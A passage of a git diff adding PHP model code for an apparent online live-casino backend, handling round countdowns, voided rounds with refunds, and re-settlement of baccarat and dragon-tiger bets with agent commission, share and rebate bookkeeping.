'bet_start_time' => time()]); + $numberTabInfo['bet_status'] = 1; + $numberTabInfo['bet_start_time'] = time(); + return ['status' => true, 'data' => $numberTabInfo]; + } + + /** + * TODO 结束倒计时 + * @param int $numberTabId + * @return array + */ + public static function endBet(int $numberTabId): array + { + $numberTabInfo = self::get(['id' => $numberTabId]); + if (!$numberTabInfo) return ['status' => false, 'msg' => 'end_bet_fail']; + if ($numberTabInfo['bet_status'] != 1) return ['status' => false, 'msg' => 'end_bet_error']; + self::where(['id' => $numberTabInfo['id']])->update(['bet_status' => 2, 'bet_end_time' => time()]); + $numberTabInfo['bet_status'] = 2; + $numberTabInfo['bet_start_time'] = time(); + return ['status' => true, 'data' => $numberTabInfo]; + } + + /** + * TODO 开始倒计时(ROB) + * @param int $numberTabId + * @return array + */ + public static function startRob(int $numberTabId): array + { + $numberTabInfo = self::get(['id' => $numberTabId]); + if (!$numberTabInfo) return ['status' => false, 'msg' => 'start_rob_fail']; + if ($numberTabInfo['rob_status'] != 0) return ['status' => false, 'msg' => 'start_rob_error']; + self::where(['id' => $numberTabInfo['id']])->update(['rob_status' => 1, 'rob_start_time' => time()]); + $numberTabInfo['rob_status'] = 1; + $numberTabInfo['rob_start_time'] = time(); + return ['status' => true, 'data' => $numberTabInfo]; + } + + /** + * TODO 结束倒计时(ROB) + * @param int $numberTabId + * @return array + */ + public static function endRob(int $numberTabId): array + { + $numberTabInfo = self::get(['id' => $numberTabId]); + if (!$numberTabInfo) return ['status' => false, 'msg' => 'end_rob_fail']; + if ($numberTabInfo['rob_status'] != 1) return ['status' => false, 'msg' => 'end_rob_error']; + self::where(['id' => $numberTabInfo['id']])->update(['rob_status' => 2, 'rob_end_time' => time()]); + $numberTabInfo['rob_status'] = 2; + $numberTabInfo['rob_start_time'] = time(); + return ['status' => true, 'data' => $numberTabInfo]; + } + + /** + * TODO 开始下一局 AllGame + * @param array $lastNumberTab + * @param array $update + * @param array $tableInfo + * @return array + */ + public static function next(array $lastNumberTab, array $update,array $tableInfo): array + { + Db::startTrans(); + try { + self::where(['id' => $lastNumberTab['id']])->update($update); + $seat_json = ''; + if($tableInfo['bet_type'] == 2){ + $seat_arr = []; + $seat_json = json_encode($seat_arr); + } + $insert = array( + 'table_id' => $lastNumberTab['table_id'], + 'table_name' => $lastNumberTab['table_name'], + 'game_id' => $lastNumberTab['game_id'], + 'game_name' => $lastNumberTab['game_name'], + 'sumday_id' => $lastNumberTab['sumday_id'], + 'day' => $lastNumberTab['day'], + 'boot_id' => $lastNumberTab['boot_id'], + 'boot_num' => $lastNumberTab['boot_num'], + 'number' => $lastNumberTab['number'] + 1, + 'start_time' => time(), + 'unify_time' => time(), + 'bet_status' => 0, + 'rob_status' => 0, + 'seat_json' => $seat_json + ); + $newNumberTab = self::create($insert); + Bet::where(['number_tab_id' => $lastNumberTab['id']])->update(['is_end' => 1]); + //更新Boot表的汇总 + if ($lastNumberTab['game_id'] == 1 || $lastNumberTab['game_id'] == 2){ + switch ($update['result']){ + case 1 : + Boot::where(['id' => $lastNumberTab['boot_id']])->inc('banker_count'); + break; + case 2 : + Boot::where(['id' => $lastNumberTab['boot_id']])->inc('player_count'); + break; + case 3 : + Boot::where(['id' => $lastNumberTab['boot_id']])->inc('tie_count'); + break; + } + } + if ($lastNumberTab['game_id'] == 1){ + switch ($update['pair']){ + case 1 : + Boot::where(['id' => $lastNumberTab['boot_id']])->inc('banker_pair_count'); + break; + case 2 : + Boot::where(['id' => $lastNumberTab['boot_id']])->inc('player_pair_count'); + break; + case 3 : + Boot::where(['id' => $lastNumberTab['boot_id']])->inc('banker_pair_count'); + Boot::where(['id' => $lastNumberTab['boot_id']])->inc('player_pair_count'); + break; + } + } + if ($lastNumberTab['game_id'] == 6){ + Boot::where(['id' => $lastNumberTab['boot_id']])->update(['toning_count' => $lastNumberTab['toning_count']]); + } + if ($lastNumberTab['game_id'] == 7){ + Boot::where(['id' => $lastNumberTab['boot_id']])->update(['dice_count' => $lastNumberTab['dice_count']]); + } + if ($lastNumberTab['game_id'] == 8){ + Boot::where(['id' => $lastNumberTab['boot_id']])->update(['roulette_count' => $lastNumberTab['roulette_count']]); + } + Db::commit(); + return $newNumberTab->toArray(); + } catch (\Exception $e) { + pre($e->getMessage()); + Db::rollback(); + return []; + } + } + + /** + * TODO 作废 + * @param array $numberTabInfo + * @return bool; + */ + public static function resetNumberTab(array $numberTabInfo): bool + { + Db::startTrans(); + try { + $bets = Bet::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($bets AS $v) { + $user = User::get($v['user_id']); + if ($v['game_id'] == 4 || $v['game_id'] == 5){ + $userMoney = round(($v['withhold_amount'] + $v['amount'] + $user['money']),2); + }else{ + $userMoney = round(($user['money'] + $v['amount']),2); + } + User::where(['id' => $v['user_id']])->update(['money' => $userMoney]); + Bet::where(['id' => $v['id']])->update(['status' => 2]); + } + //更改局数据 + $updateNumberTab = array( + 'bet_status' => 0, + 'bet_start_time' => 0, + 'bet_end_time' => 0, + 'rob_status' => 0, + 'rob_start_time' => 0, + 'rob_end_time' => 0, + 'rob_banker_id' => 0, + 'rob_banker_username' => '', + ); + if($numberTabInfo['game_id'] == 4 || $numberTabInfo['game_id'] == 5){ + $updateNumberTab['amount_player_1'] = 0; + $updateNumberTab['amount_player_1_times'] = 0; + $updateNumberTab['withhold_player_1_times'] = 0; + $updateNumberTab['amount_player_1_banker'] = 0; + $updateNumberTab['amount_player_1_banker_times'] = 0; + $updateNumberTab['withhold_player_1_banker_times'] = 0; + $updateNumberTab['amount_player_2'] = 0; + $updateNumberTab['amount_player_2_times'] = 0; + $updateNumberTab['withhold_player_2_times'] = 0; + $updateNumberTab['amount_player_2_banker'] = 0; + $updateNumberTab['amount_player_2_banker_times'] = 0; + $updateNumberTab['withhold_player_2_banker_times'] = 0; + $updateNumberTab['amount_player_3'] = 0; + $updateNumberTab['amount_player_3_times'] = 0; + $updateNumberTab['withhold_player_3_times'] = 0; + $updateNumberTab['amount_player_3_banker'] = 0; + $updateNumberTab['amount_player_3_banker_times'] = 0; + $updateNumberTab['withhold_player_3_banker_times'] = 0; + }else if($numberTabInfo['game_id'] == 2){ + $updateNumberTab['banker_amount'] = 0; + $updateNumberTab['player_amount'] = 0; + $updateNumberTab['tie_amount'] = 0; + }else if($numberTabInfo['game_id'] == 1){ + $updateNumberTab['banker_amount'] = 0; + $updateNumberTab['player_amount'] = 0; + $updateNumberTab['tie_amount'] = 0; + $updateNumberTab['banker_pair_amount'] = 0; + $updateNumberTab['player_pair_amount'] = 0; + $updateNumberTab['luck_six_amount'] = 0; + $updateNumberTab['big_amount'] = 0; + $updateNumberTab['small_amount'] = 0; + }else if($numberTabInfo['game_id'] == 6){ + $updateNumberTab['toning_result'] = ''; + }else if($numberTabInfo['game_id'] == 7){ + $updateNumberTab['dice_amount'] = ''; + }else if($numberTabInfo['game_id'] == 8){ + $updateNumberTab['roulette_european_amount'] = ''; + $updateNumberTab['roulette_french_amount'] = ''; + } + self::where(['id' => $numberTabInfo['id']])->update($updateNumberTab); + //记录系统日志 + $retreatedLog = array( + 'mode' => 2, + 'type' => 3, + 'create_time' => time(), + 'gamei_id' => $numberTabInfo['game_id'], + 'table_id' => $numberTabInfo['table_id'], + 'table_name' => $numberTabInfo['table_name'], + 'boot_id' => $numberTabInfo['boot_id'], + 'boot_num' => $numberTabInfo['boot_num'], + 'number_tab_id' => $numberTabInfo['id'], + 'number' => $numberTabInfo['number'] + ); + RetreatedLog::create($retreatedLog); + //清理redis的卡牌 + if ($numberTabInfo['game_id'] == 1 || $numberTabInfo['game_id'] == 2){ + RedisUtil::deleteCardPosition($numberTabInfo['id']); + } else { + RedisUtil::delete('card_'.$numberTabInfo['id']); + } + Db::commit(); + return true; + } catch (\Exception $e) { + Db::rollback(); + return false; + } + } + + public static function resetBaccarat(array $event,array $numberTabInfo,array $tableInfo): bool + { + Db::startTrans(); + try { + /* 处理洗码及占股 */ + //扣除洗码 + $time = time(); + $ximas = Xima::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($ximas as $ximaVal){ + $ximaUserInfo = User::get($ximaVal['user_id']); + if($ximaVal['is_checkout'] == 1){ + $parentPathInfo = User::get($ximaUserInfo['agent_parent_id']); + User::where(['id' => $ximaUserInfo['id']])->dec('money',$ximaVal['maliang'])->update(); + // 扣除上级余额 + if($ximaUserInfo['agent_parent_id']){ + User::where(['id' => $parentPathInfo['id']])->inc('money',$ximaVal['maliang'])->update(); + } + } + Xima::del($ximaVal['id']); + } + //扣除返水 + $rebates = Rebate::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($rebates as $rebateVal){ + $rebateUserInfo = User::get($rebateVal['user_id']); + if($rebateVal['is_checkout'] == 1 && $rebateVal['rebate_amount_actual'] > 0){ + User::where(['id' => $rebateUserInfo['id']])->dec('money',$rebateVal['rebate_amount_actual'])->update(); + } + Rebate::del($rebateVal['id']); + } + //扣除占股 + $css = Cs::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($css as $csVal){ + Cs::del($csVal['id']); + } + + $bets = Bet::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($bets AS $v) { + $user = User::get($v['user_id']); + $winMoney = 0; + $ximaliang = 0; + $amount = $v['banker_amount'] + $v['player_amount'] + $v['tie_amount'] + $v['banker_pair_amount'] + $v['player_pair_amount'] + $v['luck_six_amount'] + $v['big_amount'] + $v['small_amount']; + //双边洗码 + if($user['type_xima'] == 1){ + $ximaliang = abs($v['banker_amount'] - $v['player_amount']); + } + + if($event['opening'] == 1){ + // 庄赢 + if ($v['banker_amount'] > 0){ + if ($v['baccarat_type'] == 1){ + if ($event['luck_six'] > 0){ + $winMoney = round($v['banker_amount'] * (1 + 0.5),2) + $winMoney; + } else { + $winMoney = round($v['banker_amount'] * (1 + 1),2) + $winMoney; + } + } else { + $winMoney = round($v['banker_amount'] * (1 + $user['price_banker']),2) + $winMoney; + } + } + // 单边洗码 + if($user['type_xima'] == 2){ + $ximaliang = $v['player_amount']; + } + }elseif($event['opening'] == 2){ + // 闲赢 + if($v['player_amount'] > 0){ + $winMoney = $v['player_amount'] * (1 + $user['price_player']) + $winMoney; + } + // 单边洗码 + if($user['type_xima'] == 2){ + $ximaliang = $v['banker_amount']; + } + }elseif($event['opening'] == 3) { + // 和赢 + if($v['tie_amount'] > 0){ + $winMoney = $v['tie_amount'] * (1 + $user['price_tie_baccarat']) + $winMoney; + } + // 开 和,下注庄和闲不扣钱 + if($v['banker_amount'] > 0 && $v['player_amount'] > 0){ + $winMoney = $v['player_amount'] + $v['banker_amount'] + $winMoney; + }elseif($v['banker_amount'] > 0){ + $winMoney = $v['banker_amount'] + $winMoney; + } elseif ($v['player_amount'] > 0){ + $winMoney = $v['player_amount'] + $winMoney; + } + } + if($event['pair'] == 3){ + // 计算庄对下注的赢钱金额 + if ($v['banker_pair_amount'] > 0) { + $winMoney = $v['banker_pair_amount'] * (1 + $user['price_pair']) + $winMoney; + } + //计算闲对下注的赢钱金额 + if ($v['player_pair_amount'] > 0) { + $winMoney = $v['player_pair_amount'] * (1 + $user['price_pair']) + $winMoney; + } + }elseif($event['pair'] == 1){ + if ($v['banker_pair_amount'] > 0) { + $winMoney = $v['banker_pair_amount'] * (1 + $user['price_pair']) + $winMoney; + } + }elseif($event['pair'] == 2){ + if ($v['player_pair_amount'] > 0) { + $winMoney = $v['player_pair_amount'] * (1 + $user['price_pair']) + $winMoney; + } + } + // 计算最终赢钱金额 + $winTotal = $winMoney - $amount; + $userMoney = $user['money'] - $v['win_total'] + $winTotal; + User::where(['id' => $v['user_id']])->update(['money' => $userMoney]); + $updateBet = array( + 'result' => $event['opening'], + 'pair' => $event['pair'], + 'end_money' => $v['money_after_bet'] + $winTotal, + 'win_total' => $winTotal, + 'is_edit' => 1, + ); + Bet::where(['id' => $v['id']])->update($updateBet); + /* 处理洗码及占股 */ + $agent = explode(',', $user['agent_parent_id_path']); + $generalAgent = User::get(intval($agent[0])); + $betXimalv = $generalAgent['agent_ximalv']; + $betMaliang = round(($ximaliang * $betXimalv) / 100,2); + krsort($agent); + $nextCs = 0; + $nextMaliang = 0; + $nextZhanGulv = 0; + $nextRebate = 0; + foreach($agent as $key => $value){ + $userPathInfo = User::get($value); + if($userPathInfo){ + $maliang = 0; + $ximalv = $userPathInfo['agent_ximalv']; + $type = $key == 0 ? 1 : 0; + $netZhangulv = round(($userPathInfo['agent_cs'] / 100 - $nextZhanGulv),2); + if($tableInfo['is_xima'] == 1 && $ximaliang > 0){ + $maliang = round(($ximaliang * $ximalv) / 100,2); + $netMaliang = $maliang - $nextMaliang; + $shareMaliang = $betMaliang * $netZhangulv; + $percentMaliang = round(($userPathInfo['agent_cs'] / 100) * $betMaliang, 2); + if($userPathInfo['share_xima'] == 2){ + $nextLevelMaliang = $maliang - $percentMaliang; + }else{ + $nextLevelMaliang = $maliang; + } + $maliangTrue = $netMaliang - $shareMaliang; + //判断是否即时结算洗吗 + $insertXima = array( + 'agent_parent_id_path' => $user['agent_parent_id_path'], + 'user_id' => $value, + 'bet_user_id' => $user['id'], + 'bet_id' => $v['id'], + 'game_id' => $v['game_id'], + 'table_id' => $v['table_id'], + 'game_name' => $v['game_name'], + 'table_name' => $v['table_name'], + 'boot_num' => $v['boot_num'], + 'number' => $v['number'], + 'sumday_id' => $v['sumday_id'], + 'day' => $v['day'], + 'number_tab_id' => $v['number_tab_id'], + 'boot_id' => $v['boot_id'], + 'ximaliang' => $ximaliang, + 'ximalv' => $ximalv, + 'maliang' => $maliang, + 'maliang_true' => $maliangTrue, + 'total' => $amount, + 'win_total' => $winTotal, + 'create_time' => $time, + 'unify_time' => $v['unify_time'], + 'type' => $type, + 'net_maliang' => $netMaliang, + 'bet_maliang' => $betMaliang, + 'agent_cs' => $userPathInfo['agent_cs'], + 'net_agent_cs' => $netZhangulv, + 'share_maliang' => $shareMaliang, + 'percent_maliang' => $percentMaliang, + 'next_level_maliang' => $nextLevelMaliang, + ); + if($generalAgent['now_checkout_xima'] == 1 && $v['user_id'] == $userPathInfo['id'] && $userPathInfo['agent'] == 0){ + // 判断上级余额扣为负数 + $parentInfo = User::where(['id' => $userPathInfo['agent_parent_id']])->find(); + if(SETTLE_MONEY_EXCEED_PARENT_MONTY == 1 || $maliang <= $parentInfo['money']){ + // 洗码表记录状态 + $insertXima['is_checkout'] = 1; + $insertXima['checkout_time'] = $time; + + // 增加用户余额 + User::where(['id' => $userPathInfo['id']])->inc('money',$maliang)->update(); + + // 添加用户上分记录 + $userScoreData = [ + 'type' => 2, + 'amount' => $maliang, + 'mode' => 1, + 'agent_or_admin' => 4, + 'controller_type' => '系统即时结算', + 'user_id' => $userPathInfo['id'], + 'user_type' => $userPathInfo['agent'], + 'user_agent_level' => $userPathInfo['agent_level'], + 'username_for' => $userPathInfo['username'], + 'nickname_for' => $userPathInfo['nickname'], + 'user_parent_id' => $userPathInfo['agent_parent_id'], + 'create_time' => $time, + 'old_money' => $userPathInfo['money'], + 'new_money' => $userPathInfo['money'] + $maliang, + 'controller_old_money' => $parentInfo['money'], + 'controller_new_money' => $parentInfo['money'] - $maliang, + 'controller_system' => 4, + ]; + Recharge::create($userScoreData); + + // 扣除上级余额 + User::where(['id' => $parentInfo['id']])->dec('money',$maliang)->update(); + + // 添加用户上分记录 + $userScoreData = [ + 'type' => 2, + 'amount' => $maliang, + 'mode' => 2, + 'agent_or_admin' => 4, + 'controller_type' => '系统即时结算', + 'user_id' => $parentInfo['id'], + 'user_type' => $parentInfo['agent'], + 'user_agent_level' => $parentInfo['agent_level'], + 'username_for' => $parentInfo['username'], + 'nickname_for' => $parentInfo['nickname'], + 'user_parent_id' => $parentInfo['agent_parent_id'], + 'create_time' => $time, + 'old_money' => $parentInfo['money'], + 'new_money' => $parentInfo['money'] - $maliang, + 'controller_old_money' => $parentInfo['money'], + 'controller_new_money' => $parentInfo['money'] - $maliang, + 'controller_system' => 4, + ]; + Recharge::create($userScoreData); + + // 添加洗码结算记录 + $ximaLogData = [ + 'user_id' => $userPathInfo['id'], + 'username' => $userPathInfo['username'], + 'admin_or_agent' => 4, + 'ximaliang' => $ximaliang, + 'maliang' => $maliang, + 'agent_ximalv' => $userPathInfo['agent_ximalv'].'/'.$userPathInfo['agent_ximalv_dt'].'/'.$userPathInfo['agent_ximalv_nn'].'/'.$userPathInfo['agent_ximalv_tc'], + 'create_time' => $time, + 'old_money' => $userPathInfo['money'], + 'new_money' => $userPathInfo['money'] + $maliang, + 'type' => 1, // 洗码上分 + ]; + XimaLog::create($ximaLogData); + } + + } + Xima::create($insertXima); + $nextMaliang = $netMaliang + $nextMaliang; + } + //计算占股 + $shareAmount = to_number(round(($userPathInfo['agent_cs'] * $winTotal) / 100,2)); + $shareAmountTrue = to_number(round(($netZhangulv * $winTotal),2)); + $netCs = $shareAmount - $nextCs; + $insertCs = array( + 'agent_parent_id_path' => $user['agent_parent_id_path'], + 'user_id' => $value, + 'bet_user_id' => $user['id'], + 'bet_id' => $v['id'], + 'game_id' => $v['game_id'], + 'table_id' => $v['table_id'], + 'game_name' => $v['game_name'], + 'table_name' => $v['table_name'], + 'boot_num' => $v['boot_num'], + 'number' => $v['number'], + 'number_tab_id' => $v['number_tab_id'], + 'boot_id' => $v['boot_id'], + 'sumday_id' => $v['sumday_id'], + 'day' => $v['day'], + 'share_amount' => $shareAmount, + 'share_amount_true' => $shareAmountTrue, + 'share_percent' => $userPathInfo['agent_cs'], + 'total' => $amount, + 'win_total' => $winTotal, + 'create_time' => $time, + 'unify_time' => $v['unify_time'], + 'type' => $type, + 'net_cs' => $netCs, + 'maliang' => $maliang, + 'share_maliang' => $shareMaliang ?? 0, + 'net_maliang' => $netMaliang ?? 0, + ); + Cs::create($insertCs); + $nextZhanGulv = $netZhangulv + $nextZhanGulv; + $nextCs = $netCs + $nextCs; + + // 计算返水 + $rebateRate = $userPathInfo['rebate_rate']; + if($generalAgent['agent_type'] == 1){ + $rebateAmount = ($amount * $rebateRate) / 100; + $rebateAmountActual = $rebateAmount - $nextRebate; + $insertRebate = array( + 'agent_parent_id_path' => $user['agent_parent_id_path'], + 'user_id' => $value, + 'bet_user_id' => $user['id'], + 'bet_id' => $v['id'], + 'game_id' => $v['game_id'], + 'table_id' => $v['table_id'], + 'game_name' => $v['game_name'], + 'table_name' => $v['table_name'], + 'boot_num' => $v['boot_num'], + 'number' => $v['number'], + 'sumday_id' => $v['sumday_id'], + 'day' => $v['day'], + 'number_tab_id' => $v['number_tab_id'], + 'boot_id' => $v['boot_id'], + 'amount' => $amount, + 'rebate_amount' => $rebateAmount, + 'rebate_amount_actual' => $rebateAmountActual, + 'rebate_rate' => $rebateRate, + 'create_time' => $time, + 'unify_time' => $v['unify_time'], + ); + Rebate::create($insertRebate); + $nextRebate = $rebateAmountActual + $nextRebate; + } + } + } + } + $updateNumberTab = array( + 'result' => $event['opening'], + 'result_before_edit' => $numberTabInfo['result'], + 'pair' => $event['pair'], + 'pair_before_edit' => $numberTabInfo['pair'], + ); + + NumberTab::where(['id' => $numberTabInfo['id']])->update($updateNumberTab); + Db::commit(); + return true; + } catch (\Exception $e) { + Db::rollback(); + return false; + } + } + + public static function resetDt(array $event,array $numberTabInfo,array $tableInfo): bool + { + Db::startTrans(); + try { + /* 处理洗码及占股 */ + //扣除洗码 + $time = time(); + $ximas = Xima::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($ximas as $ximaVal){ + $ximaUserInfo = User::get($ximaVal['user_id']); + if($ximaVal['is_checkout'] == 1){ + $parentPathInfo = User::get($ximaUserInfo['agent_parent_id']); + User::where(['id' => $ximaUserInfo['id']])->dec('money',$ximaVal['maliang'])->update(); + // 扣除上级余额 + if($ximaUserInfo['agent_parent_id']){ + User::where(['id' => $parentPathInfo['id']])->inc('money',$ximaVal['maliang'])->update(); + } + } + Xima::del($ximaVal['id']); + } + //扣除返水 + $rebates = Rebate::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($rebates as $rebateVal){ + $rebateUserInfo = User::get($rebateVal['user_id']); + if($rebateVal['is_checkout'] == 1 && $rebateVal['rebate_amount_actual'] > 0){ + User::where(['id' => $rebateUserInfo['id']])->dec('money',$rebateVal['rebate_amount_actual'])->update(); + } + Rebate::del($rebateVal['id']); + } + //扣除占股 + $css = Cs::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($css as $csVal){ + Cs::del($csVal['id']); + } + + $bets = Bet::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($bets AS $v) { + $user = User::get($v['user_id']); + $winMoney = 0; + $ximaliang = 0; + $amount = $v['banker_amount'] + $v['player_amount'] + $v['tie_amount']; + //双边洗码 + if($user['type_xima'] == 1){ + $ximaliang = abs($v['banker_amount'] - $v['player_amount']); + } + + if($event['opening'] == 1){ + // 庄赢 + if ($v['banker_amount'] > 0){ + $winMoney = round($v['banker_amount'] * (1 + $user['price_dragon']),2) + $winMoney; + } + // 单边洗码 + if($user['type_xima'] == 2){ + $ximaliang = $v['player_amount']; + } + }elseif($event['opening'] == 2){ + // 闲赢 + if($v['player_amount'] > 0){ + $winMoney = $v['player_amount'] * (1 + $user['price_tiger']) + $winMoney; + } + // 单边洗码 + if($user['type_xima'] == 2){ + $ximaliang = $v['banker_amount']; + } + }elseif($event['opening'] == 3) { + // 和赢 + if (Env::get('system.dt_half') == 1) { + $winMoney = round(($v['banker_amount'] + $v['player_amount']) / 2, 2) + $winMoney; + } else { + $winMoney = $v['banker_amount'] + $v['player_amount'] + $winMoney; + } + $ximaliang = 0; + if ($v['tie_amount'] > 0) { + $winMoney = $v['tie_amount'] * (1 + $user['price_tie_dt']) + $winMoney; + } + } + // 计算最终赢钱金额 + $winTotal = $winMoney - $amount; +// if($v['win_total'] > 0){ +// $userMoney = $user['money'] - $v['win_total'] + $winTotal; +// }elseif($v['win_total'] < 0){ + $userMoney = $user['money'] + $v['win_total'] + $winTotal; +// }else{ +// $userMoney = $user['money'] + $winTotal; +// } + User::where(['id' => $v['user_id']])->update(['money' => $userMoney]); + $updateBet = array( + 'result' => $event['opening'], + 'end_money' => $v['money_after_bet'] + $winTotal, + 'win_total' => $winTotal, + 'is_edit' => 1, + ); + Bet::where(['id' => $v['id']])->update($updateBet); + /* 处理洗码及占股 */ + $agent = explode(',', $user['agent_parent_id_path']); + $generalAgent = User::get(intval($agent[0])); + $betXimalv = $generalAgent['agent_ximalv_dt']; + $betMaliang = round(($ximaliang * $betXimalv) / 100,2); + krsort($agent); + $nextCs = 0; + $nextMaliang = 0; + $nextZhanGulv = 0; + $nextRebate = 0; + foreach($agent as $key => $value){ + $userPathInfo = User::get($value); + if($userPathInfo){ + $maliang = 0; + $ximalv = $userPathInfo['agent_ximalv_dt']; + $type = $key == 0 ? 1 : 0; + $netZhangulv = round(($userPathInfo['agent_cs'] / 100 - $nextZhanGulv),2); + if($tableInfo['is_xima'] == 1 && $ximaliang > 0){ + $maliang = round(($ximaliang * $ximalv) / 100,2); + $netMaliang = $maliang - $nextMaliang; + $shareMaliang = $betMaliang * $netZhangulv; + $percentMaliang = round(($userPathInfo['agent_cs'] / 100) * $betMaliang, 2); + if($userPathInfo['share_xima'] == 2){ + $nextLevelMaliang = $maliang - $percentMaliang; + }else{ + $nextLevelMaliang = $maliang; + } + $maliangTrue = $netMaliang - $shareMaliang; + //判断是否即时结算洗吗 + $insertXima = array( + 'agent_parent_id_path' => $user['agent_parent_id_path'], + 'user_id' => $value, + 'bet_user_id' => $user['id'], + 'bet_id' => $v['id'], + 'game_id' => $v['game_id'], + 'table_id' => $v['table_id'], + 'game_name' => $v['game_name'], + 'table_name' => $v['table_name'], + 'boot_num' => $v['boot_num'], + 'number' => $v['number'], + 'sumday_id' => $v['sumday_id'], + 'day' => $v['day'], + 'number_tab_id' => $v['number_tab_id'], + 'boot_id' => $v['boot_id'], + 'ximaliang' => $ximaliang, + 'ximalv' => $ximalv, + 'maliang' => $maliang, + 'maliang_true' => $maliangTrue, + 'total' => $amount, + 'win_total' => $winTotal, + 'create_time' => $time, + 'unify_time' => $v['unify_time'], + 'type' => $type, + 'net_maliang' => $netMaliang, + 'bet_maliang' => $betMaliang, + 'agent_cs' => $userPathInfo['agent_cs'], + 'net_agent_cs' => $netZhangulv, + 'share_maliang' => $shareMaliang, + 'percent_maliang' => $percentMaliang, + 'next_level_maliang' => $nextLevelMaliang, + ); + if($generalAgent['now_checkout_xima'] == 1 && $v['user_id'] == $userPathInfo['id'] && $userPathInfo['agent'] == 0){ + // 判断上级余额扣为负数 + $parentInfo = User::where(['id' => $userPathInfo['agent_parent_id']])->find(); + if(SETTLE_MONEY_EXCEED_PARENT_MONTY == 1 || $maliang <= $parentInfo['money']){ + // 洗码表记录状态 + $insertXima['is_checkout'] = 1; + $insertXima['checkout_time'] = $time; + + // 增加用户余额 + User::where(['id' => $userPathInfo['id']])->inc('money',$maliang)->update(); + + // 添加用户上分记录 + $userScoreData = [ + 'type' => 2, + 'amount' => $maliang, + 'mode' => 1, + 'agent_or_admin' => 4, + 'controller_type' => '系统即时结算', + 'user_id' => $userPathInfo['id'], + 'user_type' => $userPathInfo['agent'], + 'user_agent_level' => $userPathInfo['agent_level'], + 'username_for' => $userPathInfo['username'], + 'nickname_for' => $userPathInfo['nickname'], + 'user_parent_id' => $userPathInfo['agent_parent_id'], + 'create_time' => $time, + 'old_money' => $userPathInfo['money'], + 'new_money' => $userPathInfo['money'] + $maliang, + 'controller_old_money' => $parentInfo['money'], + 'controller_new_money' => $parentInfo['money'] - $maliang, + 'controller_system' => 4, + ]; + Recharge::create($userScoreData); + + // 扣除上级余额 + User::where(['id' => $parentInfo['id']])->dec('money',$maliang)->update(); + + // 添加用户上分记录 + $userScoreData = [ + 'type' => 2, + 'amount' => $maliang, + 'mode' => 2, + 'agent_or_admin' => 4, + 'controller_type' => '系统即时结算', + 'user_id' => $parentInfo['id'], + 'user_type' => $parentInfo['agent'], + 'user_agent_level' => $parentInfo['agent_level'], + 'username_for' => $parentInfo['username'], + 'nickname_for' => $parentInfo['nickname'], + 'user_parent_id' => $parentInfo['agent_parent_id'], + 'create_time' => $time, + 'old_money' => $parentInfo['money'], + 'new_money' => $parentInfo['money'] - $maliang, + 'controller_old_money' => $parentInfo['money'], + 'controller_new_money' => $parentInfo['money'] - $maliang, + 'controller_system' => 4, + ]; + Recharge::create($userScoreData); + + // 添加洗码结算记录 + $ximaLogData = [ + 'user_id' => $userPathInfo['id'], + 'username' => $userPathInfo['username'], + 'admin_or_agent' => 4, + 'ximaliang' => $ximaliang, + 'maliang' => $maliang, + 'agent_ximalv' => $userPathInfo['agent_ximalv'].'/'.$userPathInfo['agent_ximalv_dt'].'/'.$userPathInfo['agent_ximalv_nn'].'/'.$userPathInfo['agent_ximalv_tc'], + 'create_time' => $time, + 'old_money' => $userPathInfo['money'], + 'new_money' => $userPathInfo['money'] + $maliang, + 'type' => 1, // 洗码上分 + ]; + XimaLog::create($ximaLogData); + } + + } + Xima::create($insertXima); + $nextMaliang = $netMaliang + $nextMaliang; + } + //计算占股 + $shareAmount = to_number(round(($userPathInfo['agent_cs'] * $winTotal) / 100,2)); + $shareAmountTrue = to_number(round(($netZhangulv * $winTotal),2)); + $netCs = $shareAmount - $nextCs; + $insertCs = array( + 'agent_parent_id_path' => $user['agent_parent_id_path'], + 'user_id' => $value, + 'bet_user_id' => $user['id'], + 'bet_id' => $v['id'], + 'game_id' => $v['game_id'], + 'table_id' => $v['table_id'], + 'game_name' => $v['game_name'], + 'table_name' => $v['table_name'], + 'boot_num' => $v['boot_num'], + 'number' => $v['number'], + 'number_tab_id' => $v['number_tab_id'], + 'boot_id' => $v['boot_id'], + 'sumday_id' => $v['sumday_id'], + 'day' => $v['day'], + 'share_amount' => $shareAmount, + 'share_amount_true' => $shareAmountTrue, + 'share_percent' => $userPathInfo['agent_cs'], + 'total' => $amount, + 'win_total' => $winTotal, + 'create_time' => $time, + 'unify_time' => $v['unify_time'], + 'type' => $type, + 'net_cs' => $netCs, + 'maliang' => $maliang, + 'share_maliang' => $shareMaliang ?? 0, + 'net_maliang' => $netMaliang ?? 0, + ); + Cs::create($insertCs); + $nextZhanGulv = $netZhangulv + $nextZhanGulv; + $nextCs = $netCs + $nextCs; + + // 计算返水 + $rebateRate = $userPathInfo['rebate_rate']; + if($generalAgent['agent_type'] == 1){ + $rebateAmount = ($amount * $rebateRate) / 100; + $rebateAmountActual = $rebateAmount - $nextRebate; + $insertRebate = array( + 'agent_parent_id_path' => $user['agent_parent_id_path'], + 'user_id' => $value, + 'bet_user_id' => $user['id'], + 'bet_id' => $v['id'], + 'game_id' => $v['game_id'], + 'table_id' => $v['table_id'], + 'game_name' => $v['game_name'], + 'table_name' => $v['table_name'], + 'boot_num' => $v['boot_num'], + 'number' => $v['number'], + 'sumday_id' => $v['sumday_id'], + 'day' => $v['day'], + 'number_tab_id' => $v['number_tab_id'], + 'boot_id' => $v['boot_id'], + 'amount' => $amount, + 'rebate_amount' => $rebateAmount, + 'rebate_amount_actual' => $rebateAmountActual, + 'rebate_rate' => $rebateRate, + 'create_time' => $time, + 'unify_time' => $v['unify_time'], + ); + Rebate::create($insertRebate); + $nextRebate = $rebateAmountActual + $nextRebate; + } + } + } + } + $updateNumberTab = array( + 'result' => $event['opening'], + 'result_before_edit' => $numberTabInfo['result'], + ); + + NumberTab::where(['id' => $numberTabInfo['id']])->update($updateNumberTab); + Db::commit(); + return true; + } catch (\Exception $e) { + Db::rollback(); + return false; + } + } +} \ No newline at end of file diff --git a/app/models/process/RetreatedLog.php b/app/models/process/RetreatedLog.php new file mode 100644 index 0000000..1e0ea85 --- /dev/null +++ b/app/models/process/RetreatedLog.php @@ -0,0 +1,28 @@ + 